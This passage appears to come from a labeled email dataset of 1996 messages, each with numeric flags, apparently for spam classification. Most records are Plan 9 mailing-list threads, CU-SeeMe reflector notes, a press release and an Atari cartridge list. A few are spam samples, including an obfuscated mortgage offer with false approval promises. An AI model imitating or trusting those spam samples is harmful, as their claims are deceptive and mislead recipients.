your monthly p g aymen g ts by a third or more, here are the de f als we have T u ODA z Y : $ 48 e 8 , 000 at a 3 h , 67% f b ixed - rat z e $ 3 l 72 , 000 at a 3 , j 90% va d riab d le - rat g e $ 4 o 92 , 000 at a 3 u , 21% i o ntere u st - only $ 2 m 48 , 000 at a 3 , q 36% fi j xed - rat a e $ 19 t 8 , 000 at a 3 , c 55% v l ariable - ra l te H j urry, when these deaI i s are gone, they are gone ! Don't worry about ap x pro i val, your c r redi f t will not dis u qualif h y you ! Vi y si w t o n ur site Sincerely, Brande Largent A s pprov z al Manager",1,1 """Wendell Craig Baker <""",grand-unification-theory@splat.baker.com,"Fri, 12 Apr 1996 23:18:17 -0700",AUTODESK AND NETSCAPE: Engineering design collaboration,"http://home.netscape.com/newsref/pr/newsrelease115.html AUTODESK AND NETSCAPE TO EXTEND INTERNET AS PLATFORM FOR DESIGN AND ENGINEERING COLLABORATION COMPANIES WILL WORK TOGETHER TO TRANSFORM THE INTERNET INTO A VIRTUAL ENGINEERING ENVIRONMENT FOR DESIGNERS AND ENGINEERS NEW YORK (April 10, 1996) -- Autodesk, Inc. and Netscape Communications Corporation today announced they will work together to extend the Internet into a virtual engineering environment where designers and engineers can use Netscape and Autodesk software to collaborate. The companies are united behind the new DWF file format developed by Autodesk as a standard for viewing and publishing 2D vector graphics, such as design drawings, diagrams and technical illustrations. The DWF file format and the WHIP! Plug-In for Netscape Navigator client software let users view design data efficiently over the Internet. The combination of the WHIP! technology and Netscape Navigator Gold and Netscape Enterprise Server software provide many of the tools necessary for design and engineering professionals to collaborate, publish and manage design data over the Internet. With Netscape Navigator Gold's easy-to-use Internet publishing capabilities and the WHIP! technology, design and engineering professionals can embed design data into their HTML pages. Netscape Enterprise Server is the first Internet server software to support Java and JavaScript, enabling the creation, delivery and management of live, online applications and content on enterprise networks and the Internet. ""By creating this technology for designers and engineers, Autodesk and Netscape will help eliminate the communication barriers between engineers, architects and other design professionals and increase the use of shared digital designs,"" said Carol Bartz, Autodesk chairman, president and CEO. ""Our work with Netscape will enable Autodesk's design software users to collaborate more easily with other users, as well as share their work with their clients in an inexpensive, timely fashion."" ""Autodesk's new Plug-ins are very complimentary to the work Netscape has done in Internet publishing,"" said Mike Homer, vice president of marketing at Netscape. ""The virtual engineering file format will improve the use of the Internet as a platform in business-to-business engineering and design applications and increase the utility of the Intranet for corporate communications, collaboration and data access. Together we will bring to light the millions of existing designs and engineering documents created in detailed design format that previously were stored on inaccessible internal LAN servers."" Except for the historical information contained herein, the matters discussed in this news release are forward-looking statements that involve risks and uncertainties that could cause actual results to differ materially from those projected. These include the timely development and acceptance of new products, the impact of competitive products and pricing, and the other risks detailed from time to time in SEC reports, including the report in Form 10-Q filed in December 1995. Netscape Communications Corporation is a premier provider of open software for linking people and information over enterprise networks and the Internet. The company offers a full line of clients, servers, development tools, and commercial applications to create a complete platform for next-generation, live online applications. Traded on NASDAQ under the symbol ""NSCP,"" Netscape Communications Corporation is based in Mountain View, California. Autodesk is the world's leading supplier of PC and Unix-based design software and PC multimedia tools. The company's 2D and 3D products and data management tools are used in many industries for architectural design, mechanical design, filmmaking, videography and geographic information systems. The fourth largest PC software company in the world, Autodesk has three million customers in nearly 130 countries. Autodesk products are sold through Autodesk Systems Centers, Dealers and Distributors worldwide. For more information on Autodesk please call 415/507-5000, type GO ADESK on CompuServe, or log in to http://www.autodesk.com. --------------ABD322C31DFF4F5237C228A-- Next message: Annie Hsia: ""Re: DAC"" Previous message: Robert K. Brayton: ""Tcl/Tk Presentation at Cadence (fwd) - anyone is welcome"" Workspaces ---- asves bear blast buildmaster caltrop cases compaan compose concurrency cosi dif diva dopcenter dopsysadmin eecsweb elab embedded embeddedadmin giotto hyinfo mescal metropolis mica mobies msgadmin mvsis nephest platform sec smartnets systems video webmaster wow     Note: JavaScript is disabled, see the Site Map for navigation links   You are not logged in ©2002-2006 D.O.P. Ctr.",0,1 Wyatt ,Jude ,"Sat, 13 Apr 1996 17:10:29 -0900",ur thoughts,"Hey Jude, Harvey mentioned to me that you were feeling sick. I've been a little paranoid also lately due to all this disease stuff goign around. It just seems crazy. After surfing around the net I came upon http://www.canwenothaenenought.org/l9/. and ever seem situations. - he Twain had ample respect for those who had succeeded even wants like though to be the law was trying to hold them down. Desperados Wyatt ",1,1 srajan@fla.fujitsu.com,tah@eecs.berkeley.edu,"Thu, 18 Apr 1996 10:38:56 -0700",Summer students
,"Dear Tom, I am a researcher at Fujitsu Labs in Santa Clara working in formal verification. Most likely, there is going to be a Summer internship available here to work on formal verification in the context of high-level synthesis of hardware. I was wondering if you have any students interested in such an internship. Thanks and best regards, - -- Sree ============================================================= Sreeranga P. Rajan Fujitsu Laboratories of America 3350 Scott Blvd., Bldg. #34 Santa Clara, CA 95054 e-mail: srajan@fla.fujitsu.com phone: (408) 567-4519 fax: (408) 567-4515 ============================================================= ------- End of Forwarded Message Next message: James Shin Young: ""DAC"" Previous message: Sriram C. Krishnan: ""CAD Sem.--Apr. 24--Pong on Verification of Cache-Coherent Shared-Memory Multiprocessor Systems"" Workspaces ---- asves bear blast buildmaster caltrop cases compaan compose concurrency cosi dif diva dopcenter dopsysadmin eecsweb elab embedded embeddedadmin giotto hyinfo mescal metropolis mica mobies msgadmin mvsis nephest platform sec smartnets systems video webmaster wow     Note: JavaScript is disabled, see the Site Map for navigation links   You are not logged in ©2002-2006 D.O.P. Ctr.",0,0 klein@quark.arl.psu.edu,aid96ws8@hart.ME.Berkeley.EDU,"Fri, 26 Apr 1996 15:35:53 -0400",Submission for AID-96 Web-based Design Workshop," Dr. Agogino, I've attached (in MS Word for Mac form) my submission to the AID-96 Web-based Design Workshop, as well as my vita. I use the Eudora email client, which binhexes binaries before sending them. I would be willing, by the way, to give a demo at your workshop of the system my paper discusses - it is WWW accessible. Regards, Mark Klein =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= US Mail: ------- Mark Klein, PhD Information Systems Department The Applied Research Laboratory P.O. Box 30 State College, PA 16804-0030 USA Express Mail Services: --------------------- Mark Klein, PhD Information Systems Department Applied Science Building Atherton Street State College, PA 16804-0030 USA Voice: +1 (814) 863-5381 Fax: +1 (814) 863-1396 (best) or 865-7097 Email: klein@quark.arl.psu.edu WWW: http://quark.arl.psu.edu/klein-vita.html",0,1 Amos Shapir ,9fans,"Mon, 03 Jun 1996 09:59:36 -0400",Bug in sysrendezvous?,"The ""tag"" operand of rendezvous is defined as ulong; but in the function sysrendezvous (in sysproc.c), it's copied into an int, which is used as an index in a table by the REND macro. If I'm mistaken correctly, this means that if the tag is negative, the resulting pointer would point *outside* the table! I guess this bug was not discovered because the tag is usually an address in user space, but nothing in the manual suggests it has to be below 0x80000000 (or that it shouldn't be 0xdeadbeef...) Did anybody else had any trouble with this? Amos Shapir Net: amos@cs.huji.ac.il Paper: The Hebrew Univ. of Jerusalem, Dept. of Comp. Science. Givat-Ram, Jerusalem 91904, Israel GEO: 35 11 46 E / 31 46 21 N ",0,0 Dave Presotto ,9fans,"Fri, 12 Apr 1996 12:53:53 -0400",re: Inferno info,"Thanks. We're dualled homed and one of our network providers seems to be having problems with the second address. I'll remove it for now. ",0,0 philw@plan9.bell-labs.com,9fans,"Mon, 03 Jun 1996 12:56:03 -0400",re: Bug in sysrendezvous?,"correct, stupid bug. the fix is to make the tag unsigned. long sysrendezvous(ulong *arg) { Proc *p, **l; ulong val, tag; ",0,0 Ishwar Rattan ,9fans,"Thu, 06 Jun 1996 09:43:10 -0400",u9fs question..,"I assume that it is possible to run u9fs on a UNIX box (and can be accessed by terminals running on PCs). Has anybody made it work under Solaris 2.4 (running on a SS20)? Thanks in advance. Ishwar Rattan ",0,0 Nickolay Saukh ,9fans,"Thu, 06 Jun 1996 10:18:30 -0400",Re: u9fs question.. ,"> I assume that it is possible to run u9fs on a UNIX box (and can > be accessed by terminals running on PCs). Has anybody made it work > under Solaris 2.4 (running on a SS20)? Yes, I had done that. ",0,0 Ta-Wei Li ,9fans,"Thu, 06 Jun 1996 17:01:01 -0400",Re: u9fs question..,">>>>> ""Ishwar"" == Ishwar Rattan writes: Ishwar> I assume that it is possible to run u9fs on a UNIX box Ishwar> (and can be accessed by terminals running on PCs). Has Ishwar> anybody made it work under Solaris 2.4 (running on a Ishwar> SS20)? It should compiled out of box on a Solaris machine. The rest is to set up inetd.conf to run u9fs on the u9fs port. Follow the read me in the u9fs.",0,0 """Joseph R. Matarese"" ",9fans,"Fri, 07 Jun 1996 09:32:53 -0400",[Fwd: Sparc IPX install help],"Sorry for all the header garbage... Trying to find the right channel. ",0,0 Scott Schwartz ,9fans,"Fri, 07 Jun 1996 15:24:15 -0400",Re: [Fwd: Sparc IPX install help] ,"| Content-Type: text/plain; charset=us-ascii | Content-Transfer-Encoding: 7bit Hey, at least use charset=utf-8 and 8bit encoding. | I'm doing an install on a Sparc IPX from u9fs on a Sparc 2. You shouldn't have to copy rc. Does your u9fs chroot to the right place? ",0,0 rajt@gco.apana.org.au,9fans,"Fri, 07 Jun 1996 16:05:27 -0400",,"unsubscribe --------------------------------------------------------------- Octopus traps summer's moonspun dreams soon fade away. Basho 1644 ",0,0 Scott Schwartz ,9fans,"Fri, 07 Jun 1996 19:20:21 -0400",Re: your mail ,"""Michael C. Montero"" writes: | unsubscribe Ok, let's try it again: unsubscribe messages sent to 9fans will be ignored, while messages sent to 9fans-request will be automatically processed.",0,0 forsyth@plan9.cs.york.ac.uk,9fans@cs.psu.edu,"Wed, 12 Jun 1996 08:53:05 -0400",bug in aux/listen,"aux/listen does an rfork sharing memory to create the listener for each service. that also ensures that Subsequent forks by the parent will then propagate the shared data and bss between children. [rfork(2)] aux/listen later forks a process to handle each incoming call. that doesn't specify RFMEM, but is still sharing memory. perhaps that was expected, but in any case, the later becomenone() calls newns, which uses bio to read /lib/namespace, and malloc is called, but the libc.h version doesn't expect to share memory; mayhem ensues. there are safe versions of malloc (for instance in /sys/src/cmd/ndb), or one could rewrite listen in Alef, but for now it seems easier just to be a bit less efficient. listen doesn't seem to rely on sharing memory. forse% diff $home/cd/cmd/aux/listen.c /sys/src/cmd/aux/listen.c 100c100 < switch(rfork(RFFDG|RFPROC|RFMEM)){ --- > switch(rfork(RFFDG|RFPROC)){ /* had RFMEM */",0,0 Kiran Pamnany ,9fans,"Thu, 13 Jun 1996 09:19:15 -0400",Problem ordering the distribution,"I'd finally convinced the company to buy Plan 9. So, they sent out the purchase order to the guy who sources our stuff from the US (we're in India), and he's got back to us saying that he's getting the manuals for $437.50 and the whole package for $550 plus! Which, alas, is enough more than the stated cost for the company to suddenly start questioning the order all over again :( Has the price changed or something? And, is it possible that he's talking to a dealer who's charging him more? I thought it could only be ordered from Harcourt Brace and Company at 800 782 4479. Tell me what's up, please! After months of arguing (""yes, I know that buying it is not justifiable commercially, but...""), to finally convince them and then to have this happen is too much, even for a patient soul such as I... --Kiran ",0,0 Robert.Corbett@Eng.Sun.COM,9fans,"Fri, 14 Jun 1996 01:00:55 -0400",Re: Problem ordering the distribution,"In article <199606131319.SAA18100@sassun20.sas.soft.net> you write: >I'd finally convinced the company to buy Plan 9. So, they sent out the >purchase order to the guy who sources our stuff from the US (we're in >India), and he's got back to us saying that he's getting the manuals for >$437.50 and the whole package for $550 plus! Which, alas, is enough more >than the stated cost for the company to suddenly start questioning the >order all over again :( > >Has the price changed or something? And, is it possible that he's >talking to a dealer who's charging him more? I thought it could only be >ordered from Harcourt Brace and Company at 800 782 4479. > > --Kiran I got the whole package for $350 from Harcourt Brace. I know the Computer Literacy bookstore in San Jose sells the whole package for $437.50. They also sell the manuals separately for $437.50. I think they are confused, not malicious. Sincerely, Bob Corbett",0,0 steve@plan9.ecf.toronto.edu,9fans,"Sat, 15 Jun 1996 00:12:04 -0400",[reminder] pointer to Plan 9 FAQ,"The Plan 9 faq is posted to comp.os.plan9 at the beginning of each month. It is also at news.answers archive sites, look for comp-os/plan9-faq The hypertext version of the faq is always available at url http://www.ecf.toronto.edu/plan9/plan9faq.html ",0,1 Steve Simon ,9fans,"Fri, 14 Jun 1996 05:52:58 -0400",Re: Problem ordering the distribution," RE: Very expensive Plan9 distribution I have been quoted 257 UK pounds from Harcourt Brace in London including Tax, however it is available to special order only and requires 6 to 8 weeks for delivery (sigh). I would be interested if anyone knows of a UK distributer who has it available ex-stock. ",0,0 forsyth@plan9.cs.york.ac.uk,9fans,"Sat, 15 Jun 1996 16:59:11 -0400",Re: Problem ordering the distribution,">>I would be interested if anyone knows of a UK distributer who >>has it available ex-stock. i suspect you are unlikely to find it in stock in this country. try http://www.amazon.com i haven't yet had anything i needed to order from them, but john mashey recommended it in comp.arch earlier this year and i had a look at it: quite impressive. there are some peculiar cross references and reviews on the page for the operating system Plan 9 (there are several other pages for books and things related to the film). it is down there as `special order' but i have a feeling you might find them more efficient. HBJ here have always been fairly hopeless. the people who answer the phones are very nice, but the more highly-paid sales staff have always been out to lunch (in every sense) when i've tried to deal with them. it's a mystery to me how they make money. perhaps a competitor pays them not to sell things. that would explain all those Linux and Java books i suppose. but i digress ... i'd give amazon a go. by the way, if you order the kit with just the books, remember to complain and ask for money back from customs (often this is done via the courier) if they charge duty and VAT on the books themselves since they are duty and VAT free. you'll pay duty and VAT on the Fedex charges, though. the kit that includes the software tends to get the full duty and VAT treatment since it's a composite item and they'll charge on the full thing since they've got no way of separating the CD cost (on which you pay duty and VAT) from the books (on which you wouldn't). that's reflected in the HBJ price you quoted (and they obviously include a few lunches as well). someone here managed to fight his way through to Harcourt Brace in the US and got them Fedex'd to him quickly. i believe he mentioned that he needed them urgently for a student project (that was true, but you could make something up: a gift for Craig Shergold, for instance). i also got a book kit and a CDROM kit from HB in Florida, but that was before it was on their lists here. (by CDROM kit i meant the full kit with books and CDROM.) ",0,1 Borja Marcos ,9fans,"Sun, 16 Jun 1996 14:27:28 -0400",Re: Problem ordering the distribution,"Steve Simon wrote: > > RE: Very expensive Plan9 distribution > > I have been quoted 257 UK pounds from Harcourt Brace in London > including Tax, however it is available to special order > only and requires 6 to 8 weeks for delivery (sigh). > > I would be interested if anyone knows of a UK distributer who > has it available ex-stock. Why don't you just buy it directly from USA? I bought it from Spain with my credit card and had no problems. Borja. -- *********************************************************************** Borja Marcos * Internet: borjam@we.lc.ehu.es Alangoeta, 11 1 izq * borjam@well.com 48990 - Algorta (Vizcaya) * CompuServe: 100015,3502 SPAIN * *********************************************************************** ",0,0 miller@hamnavoe.demon.co.uk,9fans,"Mon, 17 Jun 1996 05:27:19 -0400",Re: Problem ordering the distribution,"> Why don't you just buy it directly from USA? I bought it > from Spain with my credit card and had no problems. Last August I managed to order Plan 9 from the USA (I live in England) by phoning the 800 number, but it wasn't easy. I was quoted a price of $350 plus $29.40 for `expedited' shipping via Federal Express, and mailed an order and cheque to Florida. When I phoned a month later to ask what had happened to the order, Harcourt Brace claimed to have no record of it -- although my cheque had been cashed. Eventually, after forwarding a photocopy of the cancelled cheque from my bank, I did receive the CDROM and manuals, along with an invoice showing a price of $378.50 including shipping. I also had a separate bill from Federal Express for duty and UK Value Added Tax, which I paid. I then started receiving letters from the UK office of Harcourt Brace, saying ""unfortunately we wish to advise you that the cost of this product amounts to 301.98 pounds (Inc vat) ($468.08)"", and asking for further payment so they could fill my order. They also offered to refund my original payment ""if you do not wish to acquire this title"", which I admit was tempting. However, I wrote to explain that I had received and was happily using the software, and that since I had paid $379.40 towards an invoice for $378.50, it was actually Harcourt Brace who owed me money ... That was the last I heard from them. -- Richard Miller ",0,0 Martin Weitzel ,9fans,"Mon, 17 Jun 1996 11:01:02 -0400",Re: Problem ordering the distribution,"> > > Why don't you just buy it directly from USA? I bought it > > from Spain with my credit card and had no problems. > > Last August I managed to order Plan 9 from the USA (I live in England) [...] Ordering directly from HCB in the USA from Germany last August was no problem. They accepted my credit card number, the parcel arrived a few days later for the price they quoted (in US-$ + local German VAT, which is charged through UPS or whoever does the final delivery.) BTW: Though 800-number cannot be called directly from Germany, it works if you use an US calling card (I'm not sure whether I used AT&T or Sprint). --Martin ",0,0 Ta-Wei Li ,9fans,"Mon, 17 Jun 1996 17:29:07 -0400",How to set up a floppy only CPU server?,"Hi, I just got another PC and I'd like to set it up as a CPU server. Currently, I have the following configuration. File server: a PC running NeXTSTEP providing Plan 9 file system with u9fs and authentication server with auth.srv Terminal: a NeXT Cube Now, the other PC has only one floppy drive and no harddrive. I want to configure it to net boot from the file server to become a CPU server. I try using b.com and 9pccpu. However, 9pccpu only recognize il. I tried to recompile 9pccpu by seting CONF=pccpu in the mkfile. It doesn't work. I tried using 9pc which has tcp option for file server but it doesn't recognize the ether card (a 3Com 509/EISA, I think). Is there anything I should try before I get a drive just to boot the CPU server? Thanks. ",0,0 Ta-Wei Li ,9fans,"Mon, 17 Jun 1996 18:04:01 -0400",size of b.com...," I just recompile b.com and the size of the compiled file is 65316 bytes. DOS is complaining about insufficient memory. Since it's a DOS format file, I can't strip it from Plan 9. Is there a way to reduce the size? ",0,0 rattan@cps201.cps.cmich.edu,9fans,"Fri, 28 Jun 1996 15:32:15 -0400",terminal and telnet,"I have plan9 running on a standalone PC/AT. I have two questions:: 1. After telnet into UNIX box (SunOS) how does one define the terminal type to do any work on the Sun? 2. What is the printer status? I have a laser printer connected to parallel port, can it be used? Thanks ,9fans,"Fri, 28 Jun 1996 16:31:35 -0400",Re: terminal and telnet ,"rattan@cps201.cps.cmich.edu (Ishwar Rattan) writes: | 1. After telnet into UNIX box (SunOS) how does one define the | terminal type to do any work on the Sun? >From a normal 9term, ""dumb"" is about right. If you start a /bin/hp window on plan 9, that corresponds to ""2621"" in termcap. ",0,0 EricMorgan@aol.com,see-a-librarian-l@vega.lib.ncsu.edu,"Wed, 03 Jul 1996 23:10:40 -0400",posting #1," Hi folks. This is the first posting to SEE-A-LIBRARIAN-L. The purpose of this list is to operate as a communications device for the See A Librarian project. Using this mailing list we can share our experiences using the CU-SeeMe technology. Hopefully we will pass this stage easily and then begin discussing how we can use CU-SeeMe (or some other technology) to provide library/knowledge services. This mailing list will cease to exist when the project concludes. So far there have been about 100 connections to the reflectors at vega.lib.ncsu.edu and sunsite.berkeley.edu. These two reflectors are configured so that when someone connects to one reflector, people connected to the other reflector see the first people. Understand? In short, having two reflectors shares the load. I exected many people don't have the necessary hardware, software, and time to participate in this project. That is why I posted the ""announcement"" to so many lists. From what lists did y'all hear about this project? I would like to know since I plan to remind people of the project again in a couple of weeks. Finally, allow me to restate a few goals of the Project. Primarily, the Project's purpose is simply to explore the use of this technology. From these explorations other paths or new goals may present themselves; nothing is set in stone here. Second, I consider the Internet's primary function to be communication. Let's see how well this medium satisfies the communications function. By the time y'all read this you will most likely have come back from the 4th of July weekend. Lets set up a particular time to try and get ""together."" How about Tuesday, July 9th at 10 AM (EST) and/or Wednesday at 2 PM (EST)? ""CU online!"" -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staf/morgan/ ",0,1 Bernd Reh ,dick@csci.csusb.edu,"Thu, 04 Jul 1996 10:17:27 +0200","Your paper ""can one size fit all ?""","Hello! Here some thoughts on your paper: Basically I agree that there is not THE process. And even basically I'd like to remark that models like the CMM do not assume one process but have to be understand as a guidebook to build your own process. Working in the hard-constrained automotive industry however, I notice that these models still are away from being perfect :-) Let's go into details. You wrote on http://www.csci.csusb.edu/dick/papers/rjb95b.one.size.html: |> Lehman's S-type software is an implementation of a piece of mathematics and |> is judge to be correct vs this specification. These are mainly found in |> computer science departments and laboratories. For example a floating point |> package may be judge correct versus the IEEE standard for floating point |> and yet the standard is also likely to change and so force the software |> to evolve. |> Yes but this is too narrow. Protocols (like TCP/IP stack, CAN bus etc.) and algorithms are also S-type software. Unfortunately they are hidden in products which must appear fast (few suppliers/many customers). And if sloppyly implemented in the beginning they'll never debugged/redesigned. Instead the user has to live with unexplainable crashes and gets more new features for the next version. This means for these last programms development should even be split: Fast evolution for the top layer, thorough ""S-type"" process for underlying algos, protocolls and mathematics. |> I have no real data to prove this, however - that many practitioners want |> to reduce the time needed to develop software rather than change any other |> quality of the product - such as maintainability, readability, correctness, |> etc.. Here are some real data. In my company (Siemens Automotive, I'm in a SW Q Improvement Program) everybody (about 50 out of >300 programers I interviewed personally) WANTS to have better Q, maintainability, readability, correctness, etc. but nobody wants to DO anything fro it. Only measures which are obviously fit for reducing time for development are accepted easily (even if that time is lost again by longer debugging :-( ). |> Perhaps researchers and consultants in software engineering need to be |> trained in systems analysis, economics, and complex systems! Yes, definitely! |> In particular the powerful pressure towards low-cost rapid development |> is well known. ... |> The idea that the theory of complex adaptive systems can be applied to |> software markets is, as far as I know, original. Well, I do not think so but can't remember where I read it. I personally (young and idealistic as I am) found another factor leading to this situation: In mass SW business people make decisions instead of experts (cheap as posible in the short run). I always hoped that users would condem companies selling bad beta-versions for V1.0. Untrue as it seams. All in all: Agood approach you are taking. Carry on! -- Bernd Reh ------------------------------------------------------------------------------ I do not speak for Siemens -- but I hope Siemens will speak in favour of me ! ",0,1 Eric Lease Morgan ,see-a-librarian-l@vega.lib.ncsu.edu,"Mon, 08 Jul 1996 13:45:02 -0400","configuration file, book, and schedule","Folks, The reflectors seem to be working just fine. I hope you have time to give them a whirl sometime in the near future. I am trying to stay online as much as possible to facilitate experiementation. To date we have had more than 50 connections to the various reflectors. Let's see how high we can make this number. John Cambell in Colorado ask me for a configuration file for his reflector. Since the file is short, I am including it here for your information. Using this file, and the reflector application available at http://cu-seeme.cornell.edu/ you too can set up your own reflector and lighten the bandwidth load. The most important configuration is the one called UNICAST-REF. This directive tells the reflector application to ""echo"" connections from another reflector. This is what we are doing from vega.lib.ncsu.edu and sunsite.berkeley.edu. Any connection to either one of these reflectors get ""echoed"" to the other reflectors. I will be updating the See You See A Librarian page (http://sunsite.berkeley.edu/~emorgan/see-a-librarian/) with some more useful information, but I though you might like to know about a book I found. Its called _Internet TV wit CU-SeeMe_ by Michael Sattler (Sams.Net : Indianapolis, 1995) ISBN: 1-57521-006-1. The book is okay, not indispensible, but it does provide good instructions about the technology and answers a lot of questions on how to use CU-SeeMe effectivley. I had a nice chat with a person named Joh this morning. He was in the United Kingdom. He couldn't send video, but his audio was great. This stuff seems to be working. Lastly, it may be a good idea to set up a time for discussion. While I am trying to be online as much as possible, what time is good for y'all to connect and give this stuff a spin? How about Wednesday, June 10, at 1 o'clock Eastern Standard Time? -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ === reflect.conf === ; allow me to see myself. uncomment the following line for debuggin purposes ; SELF-REFLECT ; define the log file LOG reflect.log ; define what will be displayed to participants MOTD See You See a Librarian See http://sunsite.berkeley.edu/~emorgan/see-a-librarian/ for more information. // ; what are the mirror sites UNICAST-REF 128.32.224.22 ; define the conference manager CONF-MGR 152.1.139.102 ; what machine can run the refmon application REFMON 152.1.139.42 ; define the conference ID CONF-ID 0 Welcome. // ; what is the highest transmission speed? CAP 80 1 Max transmission exceeds limit of 80 Kbits/sec. No reconnect for 1 minute. // ; maximum participants MAX-PARTICIPANTS 15 Maximum participants already active. Try again later. // ; maximum something, but i'm not sure quite what MAX-SENDERS 15 Maximum number of senders already active. Try again later. // ; maximum something, but i'm not sure quite what MAX-LURKERS 20 Maximum number of lurkers already active. Try again later. // >From Judy.Hauser@Oakland.k12.mi.us Thu Jul 11 15:23:24 1996 Received: by vega.lib.ncsu.edu; id AA03625; Thu, 11 Jul 1996 15:23:24 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.80) with SMTP id ; Thu, 11 Jul 1996 15:21:51 -0400 Date: Thu, 11 Jul 1996 15:21:51 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: Re: configuration file, book, and schedule Eric - I missed your meeting yesterday. I tried to get to the reflector site today and I couldn't get through to either address. Are they only available at specific times? Or, did I do something else wrong? Nothing happened when I put the addresses in from your message. Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881",0,1 Eric Lease Morgan ,see-a-librarian-l@vega.lib.ncsu.edu,"Fri, 12 Jul 1996 11:23:18 -0400","Re> Re: configuration file, book, and schedule","> Eric - I missed your meeting yesterday. I tried to get to the reflector > site today and I couldn't get through to either address. Are they only > available at specific times? Or, did I do something else wrong? Nothing > happened when I put the addresses in from your message. Judy, thanks for your interest. The reflectors should be up an running all the time. Drop in anytime. Activity seems to be greatest in the afternoons. As a case in point, there may be some get together between 2 and 4 since some folks from the state of Florida are bringing a lot of people online. In short, try any time. I am trying to stay online as much as possible. Remember, this first month is just to *play* with the hardware and software. Thus, no questions are silly questions. Again, the reflectors are located at: * vega.lib.ncsu.edu on connection id 0 * sunsite.berkeley.edu on connection id 0 Both reflectors ""reflect"" the same thing. If you did not C anything, then it may have been because no one was there. Try again, and if your computer cooperates, stay online and just hang out. As an alternative, we can connect directly to each other as long as: 1. we know each other's IP addresses 2. we both are running CU-SeeMe This is called point-to-point connnections. Do you want to try it? 'hope to CU online soon. -- Eric Lease Morgan NCSU Libraries http://www.lib.ncsu.edu/staff/morgan/ >From Judy.Hauser@Oakland.k12.mi.us Fri Jul 12 11:30:33 1996 Received: by vega.lib.ncsu.edu; id AA13623; Fri, 12 Jul 1996 11:30:33 -0400 Received: from [198.111.47.49] (198.111.47.49) by kahuna.oakland.k12.mi.us (EMWAC SMTPRS 0.81) with SMTP id ; Fri, 12 Jul 1996 11:29:10 -0400 Date: Fri, 12 Jul 1996 11:29:10 -0400 X-Sender: HauserJ@oakland.k12.mi.us Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" To: see-a-librarian-l@vega.lib.ncsu.edu From: Judy.Hauser@Oakland.k12.mi.us (Judy Hauser) Subject: Re: Re> Re: configuration file, book, and schedule Hi Eric - I am leaving for the rest of the day but I will be in next week. I will try the reflector sites again and contact you to perhaps try a one-to-one teleconf. Thanks. Judy Hauser Library Consultant Oakland Schools 2100 Pontiac Lake Road Waterford, MI 48328 Phone:(810)-858-1971 Fax:(810)858-1881",0,1 mcurrent@carleton.edu,kendrick@zippy.sonoma.edu,"Sun, 14 Jul 1996 15:36:57 -0500",Archive upload: Cart list,"From: chase@electron.rutgers.edu (Kevin Chase) Due to some renewed interest in this old list, and the fact that the most recently posted version was a little out of date, I decided it was time to post a new version. Essentially the list has been refined in numerous small ways. Some highly doubtful entries have been removed, some new years have been added, and any errors pointed out to me by the eagle eyed net readers have been corrected. Oh, and the list of contributors has been brought up to date. If I forgot anyone, sorry. As always, any additions, corrections and/or comments are always welcome in my electronic mail box (chase@physics.rutgers.edu). Classic Atari Cartridge List, v. 3.0 ------------------------------------ Activision CZ-001-04 83 River Raid Activision CZ-002-04 83 Kaboom! Activision CZ-003-04 83 Mega Mania Activision CZ-004-04 84 Pitfall Activision CZ-005-04 84 Dreadnaught Factor, The Activision CZ-007-04 84 H.E.R.O. Activision CA-011-04 84 Pitfall II Activision CA-012-04 83 Space Shuttle Activision CC-101-04 84 Zone Ranger Activision 84 Keystone Kapers Activision 84 Zenji Activision Beamrider Activision Decathlon Activision Designer's Pencil, The Activision Pastfinder AdventIntl Rally Speedway Atari CXL4001 79 Educational System Master Cartridge Atari CXL4002 79 BASIC Computing Language (version A) Atari CXL4002C? ?83 BASIC Computing Language (version C) Atari CXL4003 79 Assembler Editor Computing Language Atari CXL4004 79 Basketball Atari CXL4005 ?79 Video Easel Atari CXL4006 79 Super Breakout Atari CXL4007 79 Music Composer Atari CXL4008 81 Space Invaders Atari CXL4009 79 Computer Chess Atari CXL4010 ?79 3-D Tic-Tac-Toe Atari CXL4011 79 Star Raiders Atari CXL4012 81 Missile Command Atari CXL4013 81 Asteroids Atari CXL4014 Mailing List Atari CXL4015 80 Telelink I Atari CXL4016 Telelink II Atari CXL4018 80 Pilot Computing Language Atari CXL4019 Store Demo Atari CXL4020 82 Centipede Atari RX8021 82 Caverns of Mars (by APX) Atari CXL4022 82 Pac Man Atari CXL4024 82 Galaxian Atari CXL4025 82 Defender Atari RX8026 83 Dig Dug Atari CXL4027 82 Qix Atari RX8028 NR Real Sports Soccer Atari RX8029 83 Real Sports Football Atari RX8030 ?83 E.T. Phone Home Atari RX8031 83 Donkey Kong Atari RX8032 83 LOGO Computing Language Atari RX8033 83 Robotron:2084 Atari RX8034 83 Pole Position Atari RX8035 ?83 Microsoft BASIC II Computing Language (w/ Disk) Atari RX8036 82 AtariWriter Atari RX8037 NR Star Trux Atari RX8039 83 Eastern Front (from APX) Atari RX8040 83 Donkey Kong Jr. Atari RX8042 83 Real Sports Tennis Atari RX8043 83 Ms. Pac Man Atari RX8044 83 Joust Atari RX8045 Pengo Atari RX8048 Millipede Atari RX8049 Jungle Hunt Atari RX8052 85 Moon Patrol Atari RX8053 83 Atari Artist (packaged with CX77 Touch Tablet) Atari RX8054 83 Atari Graphics (packaged with CX75 Light Pen) Atari RX8057 Typo Attack (from APX) Atari RX8059 Skywriter (Educational cartridge) Atari RX8063 Rescue on Fractalus (by Lucasfilm, from Epyx) Atari RX8064 Ball Blazer (by Lucasfilm, from Epyx) Atari RX8067 84 Final Legacy Atari RX8069 Track and Field Atari RX8077 87 Battlezone Atari RX8078 Star Raiders II Atari RX8079 87 Food Fight Atari RX8080 85 PLATO Learning Phone Atari RX8081 ?87 Blue Max (by Synapse) Atari RX8082 87 Lode Runner (by Broderbund) Atari RX8083 87 David's Midnight Magic (by Broderbund) Atari RX8084 87 Hardball 